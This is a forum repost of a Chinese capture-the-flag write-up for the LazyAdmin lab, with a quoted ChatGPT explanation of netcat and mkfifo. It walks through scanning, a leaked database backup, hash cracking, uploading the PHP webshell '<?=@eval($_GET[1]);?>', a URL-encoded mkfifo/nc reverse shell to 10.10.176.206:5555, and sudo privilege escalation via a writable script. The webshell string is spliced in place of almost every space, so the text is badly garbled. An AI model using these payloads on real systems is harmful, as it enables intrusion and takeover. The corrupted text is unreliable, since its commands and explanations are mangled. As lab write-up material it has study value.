LazyAdmin打靶笔记

打印 上一主题 下一主题

主题 934|帖子 934|积分 2802

参考视频:https://www.bilibili.com/video/BV16Tc8eCEKZ/?spm_id_from=333.1387.homepage.video_card.click

Nmap的-F参数用于快速扫描目标主机上开放的端口。它会限定扫描的端口范围,只扫描常见的1000个端口,而不是扫描全部的65535个端口。这样可以加速扫描速度,尤其是在举行初步评估时非常有用。
可以看到端口只有一个ssh口和web口
在浏览器输入ip查察内容:
是一个apache的默认页面,可以看网站源码内里有没有隐藏的信息,按ctrl+u
似乎没有,试试目次扫描,看有没有隐藏的文件:
<?=@eval($_GET[1]);?> dirb<?=@eval($_GET[1]);?> http://10.10.114.252看到index.php,尝试发现10.10.176.206/content/as/index.php可以打开(这个ip是重新创建的实例)

CMS(Content<?=@eval($_GET[1]);?> Management<?=@eval($_GET[1]);?> System,内容管理系统)是一种用于创建、管理和修改数字内容的软件工具或平台。它使用户可以轻松地创建和编辑网站上的内容,而不必要深入的编程知识。通常,CMS允许用户通过图形界面举行操作,而不必要直接操作HTML、CSS或其他编程语言。


通过searchsploit查找该CMS有没有已知漏洞

不知道版本是否能对上,可以先看一看
  1. [/code]通过-m可以把我们所需的漏洞信息导入到自己的目次下面
  2. [indent]with<?=@eval($_GET[1]);?> session()<?=@eval($_GET[1]);?> as<?=@eval($_GET[1]);?> r:<?=@eval($_GET[1]);?> 是<?=@eval($_GET[1]);?> Python<?=@eval($_GET[1]);?> 中一种使用上下文管理器(context<?=@eval($_GET[1]);?> manager)的语法,通常在处理必要自动管理资源的场景中使用。在这个例子中,session()通常是一个会话对象(例如来自<?=@eval($_GET[1]);?> requests<?=@eval($_GET[1]);?> 或<?=@eval($_GET[1]);?> SQLAlchemy<?=@eval($_GET[1]);?> 库),并且通过<?=@eval($_GET[1]);?> with<?=@eval($_GET[1]);?> 语句块来确保会话的资源被正确管理,自动举行清算和关闭。
  3. [size=4]语法表明:[/size]
  4. [list]
  5. [*]with<?=@eval($_GET[1]);?> 语句:它会自动管理上下文,包管在代码块实行前后做一些操作(如打开和关闭文件、数据库连接等)。
  6. [*]session():通常是创建一个会话对象,它用于发起网络请求、数据库连接等操作。在一些库中,如<?=@eval($_GET[1]);?> requests(用于网络请求)大概<?=@eval($_GET[1]);?> SQLAlchemy(用于数据库操作),session()<?=@eval($_GET[1]);?> 用来管理连接的生命周期。
  7. [*]as<?=@eval($_GET[1]);?> r:表示将会话对象<?=@eval($_GET[1]);?> session()<?=@eval($_GET[1]);?> 赋值给变量<?=@eval($_GET[1]);?> r,你可以通过<?=@eval($_GET[1]);?> r<?=@eval($_GET[1]);?> 来操作会话对象。
  8. [/list][/indent]分析这段脚本,看来是要在登录乐成后举行文件上传,漏洞原理是未对扩展名做出限定
  9. [indent]
  10. [list]
  11. [*]危险文件示例:
  12. [list]
  13. [*]Webshell(.php5):服务器配置可能允许.php5扩展名实行PHP代码。
  14. [*].htaccess:可修改Apache配置,将其他扩展名(如.jpg)分析为PHP,绕过后续检测。
  15. [/list]
  16. [/list][/indent]用别的一个漏洞获取管理员密码,这里是备份文件泄露[align=center][img]https://img2024.cnblogs.com/blog/3527808/202503/3527808-20250301021229410-1874115068.png[/img][/align]
  17. 上面写可以在指定路径下载全部的数据库文件
  18. 目次的位置可以一级一级往上尝试
  19. 末了得到:[align=center][img]https://img2024.cnblogs.com/blog/3527808/202503/3527808-20250301021229470-226280125.png[/img][/align][align=center][img]https://img2024.cnblogs.com/blog/3527808/202503/3527808-20250301021229478-1753053217.png[/img][/align]
  20. 我们尝试对这串密码举行解密:使用crackstation工具
  21. [align=center][img]https://img2024.cnblogs.com/blog/3527808/202503/3527808-20250301021229498-888907982.png[/img][/align]
  22. 然后我们登录进去,文件可知管理员账号是manager
  23. 根据直接之前的文件上传漏洞脚本可知,漏洞点在media-center
  24. 创建一个木马文件去尝试拿到webshell举行操作
  25. 这里木马用的是:
  26. [code]<?=@eval($_GET[1]);?>
复制代码
这里注意上传之后测试的路径,可以直接右键上传的文件点击openlink,这样就不用试了


之前没有接触过,我想知道<?=@eval($_GET[1]);?> whoami有什么用,怎么查察自己当前的权限呢?
假如返回的是<?=@eval($_GET[1]);?> www-data(通常是Web服务器的用户),这意味着你正在以Web服务器的权限实行下令,这通常是有限定的,无法举行一些管理操作。
假如返回的是管理员或root权限的用户名(如<?=@eval($_GET[1]);?> root<?=@eval($_GET[1]);?> 或<?=@eval($_GET[1]);?> Administrator),则说明你可能已得到较高权限,可能存在安全风险。
所以现在要提升权限
为了提升权限,必要反弹一下shell
现在的我对反弹shell一无所知
关于提权,请看我别的一篇笔记https://www.cnblogs.com/Ex1st/p/18744687/reverse_shell<?=@eval($_GET[1]);?> 《提权(先谈reverse反弹)》
反弹shell(这些别的一篇笔记写了)链接

问:我现在正在举行一个测试,现在已经利用木马上传文件漏洞拿到了shell,通过whoami下令查到现在是www-data,老师告诉我要反弹shell,但是我之前没有了解过,请你结合提权中反弹shell的过程和目的详细的介绍和表明
1、起首为什么反弹shell有助于提权?
答:可能当前的shell是受限的,大概非交互式的,无法实行提权操作。通过反弹得到更完整的shell环境,比如使用python的pyt模块生成交互式终端
2、什么是反弹shell
反弹Shell是一种常见的渗透技术,允许攻击者在目标计算机上实行长途下令。通过让目标计算机主动连接到攻击者的计算机,攻击者可以绕过目标呆板的防火墙或入站限定。防护措施包罗加强防火墙规则、使用IDS/IPS、以及限定用户权限等。
3、hack-tools的使用
rlwrap<?=@eval($_GET[1]);?> nc<?=@eval($_GET[1]);?> -lvnp<?=@eval($_GET[1]);?> 5555

ChatGPT<?=@eval($_GET[1]);?> 说:

下令<?=@eval($_GET[1]);?> rlwrap<?=@eval($_GET[1]);?> nc<?=@eval($_GET[1]);?> -lvnp<?=@eval($_GET[1]);?> 5555<?=@eval($_GET[1]);?> 结合了<?=@eval($_GET[1]);?> rlwrap<?=@eval($_GET[1]);?> 和<?=@eval($_GET[1]);?> nc(Netcat)工具,目的是为<?=@eval($_GET[1]);?> Netcat<?=@eval($_GET[1]);?> 提供更好的下令行编辑体验。具体来说,这个下令会启动<?=@eval($_GET[1]);?> Netcat<?=@eval($_GET[1]);?> 监听端口<?=@eval($_GET[1]);?> 5555,等候反向连接,并为该下令提供<?=@eval($_GET[1]);?> GNU<?=@eval($_GET[1]);?> Readline<?=@eval($_GET[1]);?> 的功能,以便可以使用下令历史、自动补全等功能。
表明各个部门:


  • **rlwrap**:**rlwrap**<?=@eval($_GET[1]);?> 中:

    • rlwrap<?=@eval($_GET[1]);?> 是一个提供<?=@eval($_GET[1]);?> GNU<?=@eval($_GET[1]);?> Readline<?=@eval($_GET[1]);?> 功能的工具,它为没有行编辑功能的下令行工具(如<?=@eval($_GET[1]);?> nc)提供下令历史记录、补全和其他编辑功能。
    • 通过<?=@eval($_GET[1]);?> rlwrap,你可以在<?=@eval($_GET[1]);?> Netcat<?=@eval($_GET[1]);?> 中使用<?=@eval($_GET[1]);?> ↑<?=@eval($_GET[1]);?> 和<?=@eval($_GET[1]);?> ↓<?=@eval($_GET[1]);?> 键浏览下令历史,使用<?=@eval($_GET[1]);?> Tab<?=@eval($_GET[1]);?> 键补全文件路径等。

  • **nc**(Netcat):**nc**(Netcat)的:

    • nc(Netcat)是一个强大的网络工具,用于建立TCP或UDP连接。它常用于网络调试、监听端口、发送数据或创建反向Shell。
    • 在这个下令中,nc<?=@eval($_GET[1]);?> 用来在本地监听端口<?=@eval($_GET[1]);?> 5555。

  • **-l**:

    • -l<?=@eval($_GET[1]);?> 选项使<?=@eval($_GET[1]);?> Netcat<?=@eval($_GET[1]);?> 进入监听模式,等候外部的连接。

  • **-v**:

    • -v<?=@eval($_GET[1]);?> 选项启用详细模式,表现更多的连接信息。

  • **-n**:

    • -n<?=@eval($_GET[1]);?> 禁止举行DNS分析,直接使用IP地址。这意味着Netcat不会将连接的主机名分析为域名,而是直接使用IP地址。

  • **-p<?=@eval($_GET[1]);?> 5555**:**-第<?=@eval($_GET[1]);?> 5555<?=@eval($_GET[1]);?> 页**:

    • -p<?=@eval($_GET[1]);?> 选项指定<?=@eval($_GET[1]);?> Netcat<?=@eval($_GET[1]);?> 要监听的端口号,此处是端口<?=@eval($_GET[1]);?> 5555。

**nc<?=@eval($_GET[1]);?> mkfifo****<?=@eval($_GET[1]);?> 的作用**

在网络安全(如反弹Shell)中,攻击者可以利用<?=@eval($_GET[1]);?> mkfifo<?=@eval($_GET[1]);?> 创建一个命名管道,并让<?=@eval($_GET[1]);?> Netcat<?=@eval($_GET[1]);?> 通过该管道举行长途下令实行。例如:
  1. mkfifo<?=@eval($_GET[1]);?> /tmp/f;<?=@eval($_GET[1]);?> nc<?=@eval($_GET[1]);?> -lvp<?=@eval($_GET[1]);?> 4444<?=@eval($_GET[1]);?> <<?=@eval($_GET[1]);?> /tmp/f<?=@eval($_GET[1]);?> |<?=@eval($_GET[1]);?> /bin/sh<?=@eval($_GET[1]);?> ><?=@eval($_GET[1]);?> /tmp/f<?=@eval($_GET[1]);?> 2>&1
复制代码
表明各个部门:


  • mkfifo<?=@eval($_GET[1]);?> /tmp/f

    • 在<?=@eval($_GET[1]);?> /tmp/<?=@eval($_GET[1]);?> 目次下创建一个命名管道<?=@eval($_GET[1]);?> f。

  • nc<?=@eval($_GET[1]);?> -lvp<?=@eval($_GET[1]);?> 4444<?=@eval($_GET[1]);?> <<?=@eval($_GET[1]);?> /tmp/f

    • 启动<?=@eval($_GET[1]);?> Netcat,监听端口<?=@eval($_GET[1]);?> 4444,等候连接,并将输入数据重定向到<?=@eval($_GET[1]);?> /tmp/f。

  • |<?=@eval($_GET[1]);?> /bin/sh<?=@eval($_GET[1]);?> ><?=@eval($_GET[1]);?> /tmp/f<?=@eval($_GET[1]);?> 2>&1

    • 通过<?=@eval($_GET[1]);?> |(管道)让<?=@eval($_GET[1]);?> /bin/sh<?=@eval($_GET[1]);?> 读取<?=@eval($_GET[1]);?> /tmp/f<?=@eval($_GET[1]);?> 的数据,并将输出(标准输出<?=@eval($_GET[1]);?> +<?=@eval($_GET[1]);?> 标准错误)写回到<?=@eval($_GET[1]);?> /tmp/f。
    • 这样,Netcat<?=@eval($_GET[1]);?> 接收到的数据会被<?=@eval($_GET[1]);?> sh<?=@eval($_GET[1]);?> 表明为下令,而<?=@eval($_GET[1]);?> sh<?=@eval($_GET[1]);?> 的实行结果会通过<?=@eval($_GET[1]);?> Netcat<?=@eval($_GET[1]);?> 发送回去。

**<?=@eval($_GET[1]);?> **mkfifo**<?=@eval($_GET[1]);?> 介绍**

mkfifo<?=@eval($_GET[1]);?> 是<?=@eval($_GET[1]);?> Linux<?=@eval($_GET[1]);?> 下的一个下令,用于创建<?=@eval($_GET[1]);?> FIFO(命名管道)<?=@eval($_GET[1]);?> 文件,它的作用是让多个进程可以通过这个管道举行通信。FIFO<?=@eval($_GET[1]);?> 的特点是:

  • 数据是<?=@eval($_GET[1]);?> 单向流动<?=@eval($_GET[1]);?> 的(类似于<?=@eval($_GET[1]);?> |<?=@eval($_GET[1]);?> 管道)。
  • 进程<?=@eval($_GET[1]);?> A<?=@eval($_GET[1]);?> 写入数据到<?=@eval($_GET[1]);?> FIFO<?=@eval($_GET[1]);?> 文件,进程<?=@eval($_GET[1]);?> B<?=@eval($_GET[1]);?> 读取数据。
  • rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20-i%202%3E%261%7Cnc%2010.10.176.206%205555%20%3E%2Ftmp%2Ff
操作:

第一个框填本机IP,第二个框填nc监听的端口
选择nc<?=@eval($_GET[1]);?> mkfifo,记得URL编码可以绕过

反弹完shell之后,就可以开始提权了:
1、sudo<?=@eval($_GET[1]);?> -l:<?=@eval($_GET[1]);?> 查抄当前用户对<?=@eval($_GET[1]);?> sudo<?=@eval($_GET[1]);?> 下令的授权和权限的下令。具体来说,它会列出用户可以以<?=@eval($_GET[1]);?> sudo<?=@eval($_GET[1]);?> 实行的下令和权限级别。<?=@eval($_GET[1]);?> <?=@eval($_GET[1]);?>

它能够列出有哪些下令是不必要密码就可以以管理员的身份实行的
大概说知道密码的情况下可以用管理员身份实行
这里的nopasswd部门:应该是实行一个pl格式的脚本
一般来说实行定时任务的脚本,比如定时备份,大概定时把某个文件搬运到别的一个地方
假如能够编辑这样的文件,并且可以以管理员的身份实行,就能够提权
起首查察backup.pl的权限,为只读

文件查察权限:
接下来的<?=@eval($_GET[1]);?> 9<?=@eval($_GET[1]);?> 个字符:表示文件的权限,按三组分开:
前三个字符:表示文件全部者(Owner)的权限
接下来的三个字符:表示文件所属用户组(Group)的权限
末了三个字符:表示其他用户(Others)的权限
r:读取权限(Read)
w:写入权限(Write)
x:实行权限(Execute)
-:没有该权限
这个地方文件的全部者是root,r-x

内容是实行这个文件

这个地方rwx,是可读可写,内容是:

可以通过重定向将echo的输出写入文件,假如文件已存在,则覆盖,假如想追加,用>>
输入新的连接端口的payload,这里是在普通用户实行管理员可以实行的下令,这个下令打开一个文件,这个文件实行别的一个文件b,这个文件b(在root)发送请求,连接到攻击者的主机
对应的监听端口,

实行这个管理员下令,记得加sudo


免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

雁过留声

金牌会员
这个人很懒什么都没写!
快速回复 返回顶部 返回列表